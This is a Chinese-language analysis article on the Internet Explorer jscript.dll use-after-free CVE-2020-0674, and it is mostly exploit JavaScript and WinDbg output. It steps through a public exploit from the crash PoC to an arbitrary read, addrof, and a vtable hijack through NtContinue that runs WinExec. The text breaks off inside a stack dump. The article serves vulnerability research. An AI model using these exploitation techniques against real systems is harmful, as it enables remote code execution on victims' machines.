CVE-2020-0674漏洞分析笔记

  • A+
所属分类:安全文章
CVE-2020-0674漏洞分析笔记
本文为看雪论坛精华文章
看雪论坛作者ID:银雁冰

目录

前言

漏洞成因

从UAF到信息泄露

       前置知识A

       前置知识B

进一步信息泄露

任意对象伪造

任意地址读取

任意对象地址读取

远程代码执行

       泄露Native栈地址

       虚表劫持和代码执行

写在最后

参考资料

前言
CVE-2020-0674是360和Google在2020年初抓到的一个IE 0day(https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674),它是一个位于jscript.dll模块的UAF(释放后重用)漏洞。最近,该漏洞的一份完整利用代码(https://github.com/maxpl0it/CVE-2020-0674-Exploit)在github被公布,笔者花了一些时间对此进行了分析。


漏洞成因
该漏洞的成因为:若Array.sort()被调用时传入一个比较函数,jscript内部没有将此比较函数的两个参数加入GC,导致可以在对象被释放后得到悬垂指针。笔者去年曾分析过一个此类漏洞(https://bbs.pediy.com/thread-257127.htm),当时就预测此类漏洞后面还会出现。
 
我们一起来看一下这个漏洞的PoC:

<script language="JScript.Compact"> var depth = 0;var spray_size = 10000;var spray = new Array();var sort = new Array();var total = new Array(); for(i = 0; i < 110; i++) sort[i] = [0, 0];for(i = 0; i < spray_size; i++) spray[i] = new Object(); function uaf(untracked_1, untracked_2) {    untracked_1 = spray[depth * 2];    untracked_2 = spray[depth * 2 + 1];    if(depth > 50) {        spray = new Array();        CollectGarbage();        total.push(untracked_1);        total.push(untracked_2);        return 0;    }    depth += 1;    sort[depth].sort(uaf);    return 0;} sort[depth].sort(uaf);for(i = 0; i < total.length; i++) {    typeof total[i];}</script>
笔者所用分析环境如下:

Windows 7 sp1 64位 + IE 11(jscript.dll 5.8.9600.17840 64位)

为IE开启页堆,在调试器中打开上述PoC,可以观察到如下崩溃:

(3a8.c60): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.jscript!CScriptRuntime::TypeOf+0x30:000007fe`f06c1e28 0fb717          movzx   edx,word ptr [rdi] ds:00000000`047f5d30=???? 0:012> ub @ripjscript!CScriptRuntime::TypeOf+0x12:000007fe`f06c1e0a 4157            push    r15000007fe`f06c1e0c 488bec          mov     rbp,rsp000007fe`f06c1e0f 4883ec50        sub     rsp,50h000007fe`f06c1e13 488bb990000000  mov     rdi,qword ptr [rcx+90h]000007fe`f06c1e1a 4533f6          xor     r14d,r14d000007fe`f06c1e1d 488bf1          mov     rsi,rcx000007fe`f06c1e20 418d5e02        lea     ebx,[r14+2]000007fe`f06c1e24 448d7b7e        lea     r15d,[rbx+7Eh]0:012> u @ripjscript!CScriptRuntime::TypeOf+0x30:000007fe`f06c1e28 0fb717          movzx   edx,word ptr [rdi] ;显然,这里在取VARIANT的Type000007fe`f06c1e2b 81fa81000000    cmp     edx,81h ;判断VARIANT的Type是否为Object000007fe`f06c1e31 7e66            jle     jscript!CScriptRuntime::TypeOf+0xa1 (000007fe`f06c1e99)000007fe`f06c1e33 81fa83000000    cmp     edx,83h000007fe`f06c1e39 0f85c9000000    jne     jscript!CScriptRuntime::TypeOf+0x110 (000007fe`f06c1f08)000007fe`f06c1e3f 488b16          mov     rdx,qword ptr [rsi]000007fe`f06c1e42 4c8d4de0        lea     r9,[rbp-20h]000007fe`f06c1e46 448bc3          mov     r8d,ebx 0:012> kChild-SP          RetAddr           Call Site00000000`11bba7c0 000007fe`f06c1ddb jscript!CScriptRuntime::TypeOf+0x3000000000`11bba830 000007fe`f0698ec2 jscript!CScriptRuntime::Run+0x3c8800000000`11bbb630 000007fe`f0698d2b jscript!ScrFncObj::CallWithFrameOnStack+0x16200000000`11bbb840 000007fe`f0698b95 jscript!ScrFncObj::Call+0xb700000000`11bbb8e0 000007fe`f069e640 jscript!CSession::Execute+0x19e00000000`11bbb9b0 000007fe`f06a70e7 jscript!COleScript::ExecutePendingScripts+0x17a00000000`11bbba80 000007fe`f06a68e6 jscript!COleScript::ParseScriptTextCore+0x26700000000`11bbbb70 000007fe`ec4a9d41 jscript!COleScript::ParseScriptText+0x5600000000`11bbbbd0 000007fe`ec4a97e2 MSHTML!CActiveScriptHolder::ParseScriptText+0xc100000000`11bbbc50 000007fe`ec4aa8e5 MSHTML!CScriptCollection::ParseScriptText+0x27a00000000`11bbbd30 000007fe`ec4aa457 MSHTML!CScriptData::CommitCode+0x39500000000`11bbbf00 000007fe`ec4aa1ed MSHTML!CScriptData::Execute+0x24b00000000`11bbbfc0 000007fe`ec22dc19 MSHTML!CHtmScriptParseCtx::Execute+0xe900000000`11bbbff0 000007fe`ec831419 MSHTML!CHtmParseBase::Execute+0x1dd00000000`11bbc0e0 000007fe`ec35114f MSHTML!CHtmPost::Exec+0x55500000000`11bbc2f0 000007fe`ec351098 MSHTML!CHtmPost::Run+0x3f00000000`11bbc320 000007fe`ec352387 MSHTML!PostManExecute+0x7000000000`11bbc3a0 000007fe`ec354ea3 MSHTML!PostManResume+0xa100000000`11bbc3e0 000007fe`ec212dc7 MSHTML!CHtmPost::OnDwnChanCallback+0x4300000000`11bbc430 000007fe`ecad481e MSHTML!CDwnChan::OnMethodCall+0x4100000000`11bbc460 000007fe`ec15bdd8 MSHTML!GlobalWndOnMethodCall+0x21900000000`11bbc500 00000000`76ab9bd1 MSHTML!GlobalWndProc+0x24c00000000`11bbc580 00000000`76ab98da USER32!UserCallWinProcCheckWow+0x1ad00000000`11bbc640 000007fe`f10eee57 USER32!DispatchMessageWorker+0x3b500000000`11bbc6c0 000007fe`f10f1d8b IEFRAME!CTabWindow::_TabWindowThreadProc+0x64c00000000`11bbf940 000007fe`fd4cfbaf IEFRAME!LCIETab_ThreadProc+0x3a300000000`11bbfa70 000007fe`f38961af iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f00000000`11bbfaa0 00000000`76bb652d IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f00000000`11bbfaf0 00000000`76cec541 kernel32!BaseThreadInitThunk+0xd00000000`11bbfb20 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

很明显,崩溃的原因是jscript!CScriptRuntime::TypeOf在解引用一个VARIANT指针时,发现该VARIANT已经被释放,属于典型的UAF。
 
下面跟随笔者一起来调试一下利用代码。


从UAF到信息泄露
代码中首先通过这个UAF漏洞来泄露一个指针,相关原理笔者已经在CVE-2018-8353那篇文章中进行描述,唯一不同的是本次涉及的是64位下的偏移和对象。

前置知识A


要理解这里的释放后重用,首先要了解相关对象。
 
首先,当new Object()时,jscript会在内存中申请一个VARIANT,64位下每个VARIANT所占内存为0x18字节,结构如下:

// 64位 JScript VARIANT (0x18 bytes)  +0x00 Type   // (WORD)  +0x08 Value  // (QWORD) an immediate value or a pointer  +0x10 Unused // (QWORD) Unused for most types

这些VARIANT设计上属于GC对象,所以会申请在一个大的GcBlock中,GcBlock结构如下:

// 64位 JScript GcBlock (0x970 bytes)struct GcBlock {    struct GcBlock * prev;    struct GcBlock * next;    VARIANTIANT mem[100];};

64位下每个GcBlock大小为0x970,可以由如下公式计算得出:

sizeof(GcBlock) = 0x08 + 0x08 + 0x18*0n100 = 0x970

这些Object VARIANT在内存中排列如下:

0:022> !heap -p -a 892b6d0    address 000000000892b6d0 found in    _HEAP @ 2f0000              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state        000000000892b6c0 0099 0000  [00]   000000000892b6d0    00970 - (busy) // 最开始0x10字节为prev与next指针,随后100个大小为0x18的VARIANT交替排列0:022> dc 892b6d000000000`0892b6d0  0892ad40 00000000 0892c060 00000000  @.......`.......00000000`0892b6e0  00000081 00000000 08914130 00000000  ........0A......00000000`0892b6f0  0892b6f8 00000000 00000081 00000000  ................00000000`0892b700  089140c0 00000000 0892b710 00000000  [email protected]00000000`0892b710  00000081 00000000 08914050 00000000  [email protected]00000000`0892b720  0892b728 00000000 00000081 00000000  (...............00000000`0892b730  08913fe0 00000000 0892b740 00000000  [email protected]00000000`0892b740  00000081 00000000 08913f70 00000000  ........p?.........

上面的VARIANT对象在GcBlock中的布局可能不太直观,笔者其进行着色如下:
 
CVE-2020-0674漏洞分析笔记
 
利用此类UAF漏洞的思路是申请大量VARIANT对象,然后进行释放,这样就会得到一个个空闲的大小为0x970左右的堆块,这些堆块会被回收到低碎片堆中,接着迅速重用这些堆块。
 
那么,如何重用这些空闲堆块呢?

前置知识B


这里再补充一些前置知识,在为一个jscript对象添加第一个成员变量时,若成员变量的长度超过一定阈值,jscript会调用NameList::FCreateVval去申请特定大小的内存,64位下,具体的申请操作在NoRelAlloc::PvAlloc中完成,这里直接将计算公式概括如下(具体细节读者可以自行逆向上述两个函数):

alloc_size = (2x + 0x42) * 2 + 8 // x为Object的属性长度,按字符数计算

当alloc_size为0x970时,我们就可以重用之前回收的GcBlock内存块。此时对应的x=569。
 
重用后的内存内排列着一个个代表属性的结构与属性名称,具体结构定义如下:

// Property(size = 0x40) win7 64 bit  +0x00 var         // (sizeof(VARIANT)) 当前属性值  +0x18 ?           // (QWORD)  +0x20 hash        // (DWORD)  +0x24 name_length // (DWORD) 当前属性名长度  +0x28 next        // (QWORD) 下一个Property结构体地址  +0x30 ?           // (QWORD)  +0x38 ?           // (QWORD)  +0x40 name // 简单来说就是一个0x40的头部(Property),后面跟着name

第一轮UAF泄露的就是某个Property偏移0x28处的一个next指针,这个next指针指向下一个Property的首地址。
 
如果在重占位后,通过第1个至第x-1个属性名的名称和长度来控制这块重用的内存。将第x-1个Property的hash构造为5,并且通过设置第x个属性,让第x-1个Property的next指针指向第x个对象的Property,就可以借助伪造的VARIANT读取第x个对象的Property指针,从而实现信息泄露。
 
利用代码中为每个Object对象定义了4个属性,目的是泄露第4个属性的Property指针。我们来看一下重用后的相应内存:
 
CVE-2020-0674漏洞分析笔记
 
上图第一个黄色高亮的是被某一个悬垂指针错误读取的Object VARIANT,可以看到由于Type域正好与第3个Property的hash重合,Type被解释为了5,当前VARIANT被解释为double类型,并且这个VARIANT内的Value值恰好为指向第4个Property的next指针。青色高亮的是第4个属性的Property结构。红色高亮的是第4个属性的的name。
 
遍历之前保存的悬垂指针,通过以下代码判断是否到找到一个上述这种VARIANT:

for(i = 0; i < total.length; i++) {    if(typeof total[i] === "number" && total[i] % 1 != 0) {        leak_lower = (total[i] / 4.9406564584124654E-324);        break;    }}

找到后,读取对应的Value并将其转换为32位整数,这样就泄露得到了一个Property指针。


进一步信息泄露
泄露第4个属性的Property指针后,利用代码紧接着用类似的方法泄露该属性的值,此时需要读取泄露的Property指针首部对应的VARIANT,方法是重新设计第一个属性的名称,并用其进行内存布局,随后再次借助之前的方法来进行读取,如下:
 
CVE-2020-0674漏洞分析笔记
 
上图中青色高亮的是第二轮UAF后,某个被重用的0x970内存块中的第一个Property,黄色和灰色高亮的是依次排列的、用来布局的VARIANT,每个VARIANT的Type为0x80,为间接引用,需要解一次指针。
 
CVE-2020-0674漏洞分析笔记
 
从上图可以看到,解一次指针后,读取的VARIANT即为整型,里面存储了所需的leak_offset值,这里为1。
 
CVE-2020-0674漏洞分析笔记
 
从上图可以看到,第一轮UAF时伪造的VARIANT还在,07c72ee0即为第一次信息泄露得到的指针。
 
有了leak_offset后,就可以对overlay_backup[leak_offset]存储的单个对象进行释放和重用,利用代码在此基础上封装了一个rewrite函数,rewrite函数只对overlay_backup[leak_offset]所代表的对象进行UAF来重用内存:

function rewrite(v, i){    CollectGarbage();    overlay_backup[leak_offset] = null;    CollectGarbage();    overlay_backup[leak_offset] = new Object();    overlay_backup[leak_offset][variants] = 1;    overlay_backup[leak_offset][padding] = 1;    overlay_backup[leak_offset][leak] = 1;    overlay_backup[leak_offset][v] = i;}


任意对象伪造

利用代码接着借助rewrite函数,将第一次泄露指针的那块0x970大小内存重新进行内存布局。这次对重占位对象的第4个属性的name进行了改写,使其变为一个VARIANT。并且借助前面的思路,将leak_lower+0x40这个地址构造为Type为0x80的VARIANT,通过第一个属性的name进行大量内存布局,接着利用和之前一样的方法读取第4个Property的name处存储的VARIANT,保存到fakeobj_var:

function get_fakeobj() {    rewrite(make_variant(3, 1234));    reset();    set_variants(0x80, leak_lower + 64);    sort[depth].sort(initial_exploit);    for(i = 0; i < total.length; i++) {        if(typeof total[i] === "number") {            if(total[i] + "" == 1234) {                fakeobj_var = total[i];                break;            }        }    }}

CVE-2020-0674漏洞分析笔记
 
这样,当后面通过rewrite将第4个Property的name改写为具有其他Type的VARIANT或者具有不同Value值的VARIANT时,就可以通过fakeobj_var来进行相应操作。


任意地址读取
随后,利用代码封装了一个read_pointer函数,里面借助rewrite将第4个Property的name改写为一个字符串类型(Type=8)的VARIANT:

function read_pointer(addr_lower, addr_higher, o) {    rewrite(make_variant(8, addr_lower, addr_higher), o);}

此时fakeobj_var就代表一个字符串类型的VARIANT,字符串类型的VARIANT的Value值存储的是一个BSTR对象的字符串首地址,即一个BSTR结构偏移+0x08的地方.
 
而64位下BSTR的完整结构如下:

// 64-bit BSTR  +0x00 Unused  // (DWORD)  +0x04 length  // (DWORD) in bytes without null character  +0x08 string  // (length+2) String characters (16-bit) followed by a null character

所以可以借助BSTR的length域来读取任意地址。
 
接着看一下利用代码封装的read_byte函数:

function read_byte(addr_lower, addr_higher, o) {    read_pointer(addr_lower + 2, addr_higher, o);    return (fakeobj_var.length >> 15) & 0xff;}

这里任意地址读取的思路是这样的:
 
调用 string.length 方法读取 BSTR 字符串长度时,会进入 jscript!StringProxyObj::Length 函数,在函数内部会取出 BSTR 的长度,然后除以2:

v4 = *(_DWORD *)(v7 - 4) >> 1;

如果我们对待读数据先乘以2,相当于右移1位,数据缺失1 bit,读出来之后无法还原。

所以这里用了一些技巧,以 read_byte 为例,为了准确读取数据,代码中采用的办法是要读取 addr,则将 addr + 2 传入,此时待读取的 byte 左移了 16 字节,随后 jscript!StringProxyObj::Length 内部为了除以2,帮我们右移了 1 字节,所以数据返回后还得手动右移 15 字节,最后取出最低的一个字节即可。read_word、read_dword、read_qword 同理。


任意对象地址读取
封装完任意地址读取函数后,利用代码又在其基础上封装了一个任意对象地址读取函数addrof:

function addrof(o) {    var_addr = read_dword(leak_lower + 8, 0, o);    return read_dword(var_addr + 8, 0, 1);}

addrof借助两次read_dword实现对象地址泄露。
 
第一次read_dword将任意对象赋值给第4个属性,这样会导致一个引用对象(Type=0x80)的VARIANT被写到第4个Property的var内(参考下面的日志,可以看到保存到第4个Property处的VARIANT类型为0x80),并将第4个Property的name改写为一个字符串型(Type=8)的VARIANT,VARIANT的值设置为leak_lower + 8。这样就把被引用的VARIANT地址给读取出来,即下面日志中的08a9ece8。
 
第二次read_dword针对第一次read_dword读取的值再解一次引用,从而将真正的对象地址读取出来。

第一次 read_dword 数据(o)和地址(leak_lower + 8)都要传入第二次 read_dword 只需要传入地址(var_addr + 8),因为数据已经在了 // 第4个Property00000000`08aa0a50  eac00080 000007fe 08a9ece8 00000000  ................00000000`08aa0a60  00001f80 00000000 00000000 00000000  ................00000000`08aa0a70  378f5a8e 00000018 00000000 00000000  .Z.7............00000000`08aa0a80  00000000 00000000 00000004 00000000  ................// 08aa0a90存放着name,可以看到它是一个字符串类型的VARIANT00000000`08aa0a90  00000008 00000000 08aa0a5c 00000000  ............... // 解第1个VARIANT0:018> dq 08aa0a50 l300000000`08aa0a50  000007fe`eac00080 00000000`08a9ece800000000`08aa0a60  00000000`00001f80 // 解第2个VARIANT0:018> dq 08a9ece8 l300000000`08a9ece8  00000000`00000081 00000000`0c3c6b3000000000`08a9ecf8  00000000`0058c6a0 0:018> !heap -p -a 0c3c6b30address 000000000c3c6b30 found in_HEAP @ 1a0000HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state000000000c3c6b20 0007 0000  [00]   000000000c3c6b30    00068 - (busy)jscript!NameTbl::`vftable' 0:018> dq 0c3c6b30 l68/800000000`0c3c6b30  000007fe`f00be0d8 00000000`0000000000000000`0c3c6b40  00000000`00000000 00000000`0058b90000000000`0c3c6b50  00000000`08a9ece8 00000000`ffffffff00000000`0c3c6b60  00000000`0058c6e8 00000000`001b000000000000`0c3c6b70  000007fe`f00bfd48 00000000`00580ee000000000`0c3c6b80  00000000`00000000 00000000`0000000000000000`0c3c6b90  000007fe`f014fc30 0:018> ln 000007fe`f00be0d8(000007fe`f00be0d8)   jscript!NameTbl::`vftable'   |  (000007fe`f00be2d0)   jscript!NativeErrorProtoObjBase::`vftable'Exact matches:

远程代码执行

封装完上述这些功能函数后,接下来的操作就比较常规了:new一个object,泄露这个对象的首地址,从首地址中读取虚表指针,通过虚表指针获取jscript基址。紧接着从jscript的导入表中获取msvcrt和kernel32的基址,再从msvcrt的导入表中获取ntdll的基址,随后从kernel32的导出表获得WinExec函数地址,从ntdll的导出表中获取NtContinue函数地址,供后面使用。

泄露Native栈地址


由于后面借助NtContinue函数进行代码执行时,需要为伪造的_CONTEXT结构提供一个正确的Native栈地址,所以这里还要泄露一个Native栈地址,操作比较常规:

function leak_stack_ptr() {    leak_obj = new Object();    obj_addr = addrof(leak_obj);    csession_addr = read_dword(obj_addr + 24, 0, 1);    stack_addr_lower = read_dword(csession_addr + 80, 0, 1);    stack_addr_upper = read_dword(csession_addr + 84, 0, 1);    return {'lower': stack_addr_lower, 'upper': stack_addr_upper};}

64位基本知识点如下,这里不再过多说明:

Jscript Object  + 0x00 Jscript!NameTbl  +0x18 pCSession    // QWORD Jscript!CSession(size = 0x2F0)  +0x50 pNativeStack // QWORD

虚表劫持和代码执行


利用代码接下来伪造jscript!NameTbl对象和jscript!NameTbl对象的虚表,并将虚表内的第28项(此项原先为 jscript!ObjEvtHandler::FPersist函数地址)改写为ntdll!NtContinue函数的地址。
 
trigger_exec函数首部,利用代码将第4个Property的name伪造为一个Type=0x81的对象,将Value设为伪造的jscript!NameTbl对象,并将对象的虚表指针(对象的第一个8字节)设为伪造的虚表。
 
trigger_exec函数最后对fakeobj_var调用typeof函数,触发虚函数调用,劫持控制流到NtContinue,并将伪造的对象作为参数传入rcx:

0:000> gBreakpoint 0 hitntdll!ZwContinue:00000000`76d116e0 4c8bd1          mov     r10,rcx // 上层调用地址0:013> ub 000007fe`f00eaf86jscript!CScriptRuntime::TypeOf+0x1916d:000007fe`f00eaf65 e96c6ffeff      jmp     jscript!CScriptRuntime::TypeOf+0xde (000007fe`f00d1ed6)000007fe`f00eaf6a 488b7f08        mov     rdi,qword ptr [rdi+8]000007fe`f00eaf6e 488b07          mov     rax,qword ptr [rdi]000007fe`f00eaf71 488b9838010000  mov     rbx,qword ptr [rax+138h]000007fe`f00eaf78 488bcb          mov     rcx,rbx000007fe`f00eaf7b ff15df260700    call    qword ptr [jscript!_guard_check_icall_fptr (000007fe`f015d660)]000007fe`f00eaf81 488bcf          mov     rcx,rdi000007fe`f00eaf84 ffd3            call    rbx ; ntdll!ZwContinue 由此处调用 // 执行流切换时的调用栈0:013> kChild-SP          RetAddr           Call Site00000000`05388778 000007fe`f00eaf86 ntdll!ZwContinue00000000`05388780 000007fe`f00d1ddb jscript!CScriptRuntime::TypeOf+0x1918e00000000`053887f0 000007fe`f00a8ec2 jscript!CScriptRuntime::Run+0x3c8800000000`053895f0 000007fe`f00a94b3 jscript!ScrFncObj::CallWithFrameOnStack+0x16200000000`05389800 000007fe`f00a86ea jscript!NameTbl::InvokeInternal+0x2d300000000`05389920 000007fe`f00a24b8 jscript!VARIANT::InvokeByDispID+0xffffffff`ffffffea00000000`05389970 000007fe`f00a8ec2 jscript!CScriptRuntime::Run+0x5a600000000`0538a770 000007fe`f00a94b3 jscript!ScrFncObj::CallWithFrameOnStack+0x16200000000`0538a980 000007fe`f00a86ea jscript!NameTbl::InvokeInternal+0x2d300000000`0538aaa0 000007fe`f00a24b8 jscript!VARIANT::InvokeByDispID+0xffffffff`ffffffea00000000`0538aaf0 000007fe`f00a8ec2 jscript!CScriptRuntime::Run+0x5a600000000`0538b8f0 000007fe`f00a8d2b jscript!ScrFncObj::CallWithFrameOnStack+0x16200000000`0538bb00 000007fe`f00a8b95 jscript!ScrFncObj::Call+0xb700000000`0538bba0 000007fe`f00ae640 jscript!CSession::Execute+0x19e00000000`0538bc70 000007fe`f00b70e7 jscript!COleScript::ExecutePendingScripts+0x17a00000000`0538bd40 000007fe`f00b68e6 jscript!COleScript::ParseScriptTextCore+0x26700000000`0538be30 000007fe`ec4a9d41 jscript!COleScript::ParseScriptText+0x5600000000`0538be90 000007fe`ec4a97e2 MSHTML!CActiveScriptHolder::ParseScriptText+0xc100000000`0538bf10 000007fe`ec4aa8e5 MSHTML!CScriptCollection::ParseScriptText+0x27a00000000`0538bff0 000007fe`ec4aa457 MSHTML!CScriptData::CommitCode+0x39500000000`0538c1c0 000007fe`ec4aa1ed MSHTML!CScriptData::Execute+0x24b00000000`0538c280 000007fe`ec22dc19 MSHTML!CHtmScriptParseCtx::Execute+0xe900000000`0538c2b0 000007fe`ec831419 MSHTML!CHtmParseBase::Execute+0x1dd00000000`0538c3a0 000007fe`ec35114f MSHTML!CHtmPost::Exec+0x55500000000`0538c5b0 000007fe`ec351098 MSHTML!CHtmPost::Run+0x3f00000000`0538c5e0 000007fe`ec352387 MSHTML!PostManExecute+0x7000000000`0538c660 000007fe`ec354ea3 MSHTML!PostManResume+0xa100000000`0538c6a0 000007fe`ec212dc7 MSHTML!CHtmPost::OnDwnChanCallback+0x4300000000`0538c6f0 000007fe`ecad481e MSHTML!CDwnChan::OnMethodCall+0x4100000000`0538c720 000007fe`ec15bdd8 MSHTML!GlobalWndOnMethodCall+0x21900000000`0538c7c0 00000000`76ab9bd1 MSHTML!GlobalWndProc+0x24c00000000`0538c840 00000000`76ab98da USER32!UserCallWinProcCheckWow+0x1ad00000000`0538c900 000007fe`f10eee57 USER32!DispatchMessageWorker+0x3b500000000`0538c980 000007fe`f10f1d8b IEFRAME!CTabWindow::_TabWindowThreadProc+0x64c00000000`0538fc00 000007fe`fd4cfbaf IEFRAME!LCIETab_ThreadProc+0x3a300000000`0538fd30 000007fe`f38961af iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f00000000`0538fd60 00000000`76bb652d IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f00000000`0538fdb0 00000000`76cec541 kernel32!BaseThreadInitThunk+0xd00000000`0538fde0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d // 伪造的jscript!NameTbl对象0:013> dq 075c0a70 l68/800000000`075c0a70  00000000`056ced98 00000000`0000000000000000`075c0a80  00000000`00000000 00000000`0000000000000000`075c0a90  00000000`00000000 00000000`0000000000000000`075c0aa0  00000000`00100003 00000000`0000003300000000`075c0ab0  00000246`002b0000 00000000`0000000000000000`075c0ac0  00000000`00000000 00000000`0000000000000000`075c0ad0  00000000`00000000 // 伪造的jscript!NameTbl虚表0:011> dps 00000000`056ced98 l4000000000`056ced98  00410041`0041004100000000`056ceda0  00410041`0041004100000000`056ceda8  00410041`0041004100000000`056cedb0  00410041`0041004100000000`056cedb8  00410041`0041004100000000`056cedc0  00410041`0041004100000000`056cedc8  00410041`0041004100000000`056cedd0  00410041`0041004100000000`056cedd8  00410041`0041004100000000`056cede0  00410041`0041004100000000`056cede8  00410041`0041004100000000`056cedf0  00410041`0041004100000000`056cedf8  00410041`0041004100000000`056cee00  00410041`0041004100000000`056cee08  00410041`0041004100000000`056cee10  00410041`0041004100000000`056cee18  00410041`0041004100000000`056cee20  00410041`0041004100000000`056cee28  00410041`0041004100000000`056cee30  00410041`0041004100000000`056cee38  00410041`0041004100000000`056cee40  00410041`0041004100000000`056cee48  00410041`0041004100000000`056cee50  00410041`0041004100000000`056cee58  00410041`0041004100000000`056cee60  00410041`0041004100000000`056cee68  00410041`0041004100000000`056cee70  00410041`0041004100000000`056cee78  00410041`0041004100000000`056cee80  00410041`0041004100000000`056cee88  00410041`0041004100000000`056cee90  00410041`0041004100000000`056cee98  00410041`0041004100000000`056ceea0  00410041`0041004100000000`056ceea8  00410041`0041004100000000`056ceeb0  00410041`0041004100000000`056ceeb8  00410041`0041004100000000`056ceec0  00410041`0041004100000000`056ceec8  00410041`0041004100000000`056ceed0  00000000`76d116e0 ntdll!ZwContinue // 虚表第 28 项被改写为 ntdll!ZwContinue,此处原先为 jscript!ObjEvtHandler::FPersist 函数地址... // 直接将一个伪造的jscript!NameTbl对象当做_CONTEXT结构体,放入rcx寄存器进行传参0:013> dt _CONTEXT 00000000`075c0a70ntdll!_CONTEXT   +0x000 P1Home           : 0x56ced98   +0x008 P2Home           : 0   +0x010 P3Home           : 0   +0x018 P4Home           : 0   +0x020 P5Home           : 0   +0x028 P6Home           : 0   +0x030 ContextFlags     : 0x100003   +0x034 MxCsr            : 0   +0x038 SegCs            : 0x33   +0x03a SegDs            : 0   +0x03c SegEs            : 0   +0x03e SegFs            : 0   +0x040 SegGs            : 0   +0x042 SegSs            : 0x2b   +0x044 EFlags           : 0x246   +0x048 Dr0              : 0   +0x050 Dr1              : 0   +0x058 Dr2              : 0   +0x060 Dr3              : 0   +0x068 Dr6              : 0   +0x070 Dr7              : 0   +0x078 Rax              : 0   +0x080 Rcx              : 0x39e9c4   +0x088 Rdx              : 0   +0x090 Rbx              : 0   +0x098 Rsp              : 0x53884e0   +0x0a0 Rbp              : 0   +0x0a8 Rsi              : 0   +0x0b0 Rdi              : 0   +0x0b8 R8               : 0x40   +0x0c0 R9               : 0   +0x0c8 R10              : 0   +0x0d0 R11              : 0   +0x0d8 R12              : 0   +0x0e0 R13              : 0   +0x0e8 R14              : 0   +0x0f0 R15              : 0   +0x0f8 Rip              : 0x76c38d50   +0x100 FltSave          : _XSAVE_FORMAT   +0x100 Header           : [2] _M128A   +0x120 Legacy           : [8] _M128A   +0x1a0 Xmm0             : _M128A   +0x1b0 Xmm1             : _M128A   +0x1c0 Xmm2             : _M128A   +0x1d0 Xmm3             : _M128A   +0x1e0 Xmm4             : _M128A   +0x1f0 Xmm5             : _M128A   +0x200 Xmm6             : _M128A   +0x210 Xmm7             : _M128A   +0x220 Xmm8             : _M128A   +0x230 Xmm9             : _M128A   +0x240 Xmm10            : _M128A   +0x250 Xmm11            : _M128A   +0x260 Xmm12            : _M128A   +0x270 Xmm13            : _M128A   +0x280 Xmm14            : _M128A   +0x290 Xmm15            : _M128A   +0x300 VectorRegister   : [26] _M128A   +0x4a0 VectorControl    : 0x410041`00410041   +0x4a8 DebugControl     : 0x410041`00410041   +0x4b0 LastBranchToRip  : 0x410041`00410041   +0x4b8 LastBranchFromRip : 0x410041`00410041   +0x4c0 LastExceptionToRip : 0x410041`00410041   +0x4c8 LastExceptionFromRip : 0x410041`00410041 // rip 为 kernel32!WinExec0:013> u 0x76c38d50kernel32!WinExec:00000000`76c38d50 488bc4          mov     rax,rsp00000000`76c38d53 48895808        mov     qword ptr [rax+8],rbx00000000`76c38d57 55              push    rbp00000000`76c38d58 56              push    rsi00000000`76c38d59 57              push    rdi00000000`76c38d5a 4881ec10010000  sub     rsp,110h00000000`76c38d61 0fbae21f        bt      edx,1Fh00000000`76c38d65 8bf2            mov     esi,edx // rcx 为 WinExec 的命令行参数0:013> dc 0x39e9c400000000`0039e9c4  575c3a43 6f646e69 535c7377 65747379  C:WindowsSyste00000000`0039e9d4  5c32336d 636c6163 6578652e 00000000  m32calc.exe....00000000`0039e9e4  00000069 00000002 00000069 000942a2  i.......i....B..00000000`0039e9f4  00000008 00790074 00650070 00000000  ....t.y.p.e.....00000000`0039ea04  a9cc59f8 0000001a 0062006f 005f006a  .Y......o.b.j._.00000000`0039ea14  00740070 005f0072 006f006c 00650077  p.t.r._.l.o.w.e.00000000`0039ea24  00000072 a9d7dd8b 0000001a 0062006f  r...........o.b.00000000`0039ea34  005f006a 00740070 005f0072 00700075  j._.p.t.r._.u.p. // rsp 为 泄露的 native stack 地址0:013> dps 0x53884e0 l5000000000`053884e0  00000000`00001f8000000000`053884e8  000007fe`fd1a24c8 msvcrt!control87+0x2800000000`053884f0  00000000`0538858000000000`053884f8  000007fe`f00d9315 jscript!TLS_NoDestructor::Close+0x5900000000`05388500  00000000`00001fa000000000`05388508  00000000`0000045100000000`05388510  00000000`0037aab800000000`05388518  00000000`0000040900000000`05388520  00000000`0000045100000000`05388528  000007fe`f00c4f44 jscript!IDispatchExInvokeEx2+0x1a500000000`05388530  00000000`056fbda000000000`05388538  00000000`0000000000000000`05388540  00000000`056fbda000000000`05388548  00000000`0000045100000000`05388550  00000000`0538867800000000`05388558  00000000`0000000000000000`05388560  00000000`0538869000000000`05388568  00000000`0720e49000000000`05388570  00000000`0000000000000000`05388578  00000000`003ae07100000000`05388580  00000000`0033531000000000`05388588  00000000`0000000000000000`05388590  00000000`0000000000000000`05388598  00000000`0000000000000000`053885a0  00000000`003797a000000000`053885a8  000007fe`f00c4e26 jscript!IDispatchExInvokeEx+0xbb00000000`053885b0  00000000`0000045100000000`053885b8  00000000`003797a000000000`053885c0  00000000`056fbda000000000`053885c8  00000000`0000000000000000`053885d0  00000000`0037000100000000`053885d8  00000000`0538867800000000`053885e0  00000000`0000000000000000`053885e8  00000000`0538869000000000`053885f0  00000000`0720e49000000000`053885f8  00000000`0000000000000000`05388600  00000000`056fbda000000000`05388608  000007fe`f00c4cfd jscript!InvokeDispatchEx+0x19c00000000`05388610  000007fe`ec1632e0 MSHTML!PlainRelease00000000`05388618  000007fe`0000000000000000`05388620  00000000`0000000000000000`05388628  00000000`056fbda000000000`05388630  00000000`0000000100000000`05388638  00000000`0538867800000000`05388640  00000000`0000000000000000`05388648  00000000`0538869000000000`05388650  00000000`0720e49000000000`05388658  00000000`0000000000000000`05388660  00000000`0000000100000000`05388668  00000000`0720e49000000000`05388670  00000000`0000000000000000`05388678  00000000`053886d000000000`05388680  00000000`0000000000000000`05388688  00000000`0000000100000000`05388690  00000000`0000000000000000`05388698  00000000`0000000000000000`053886a0  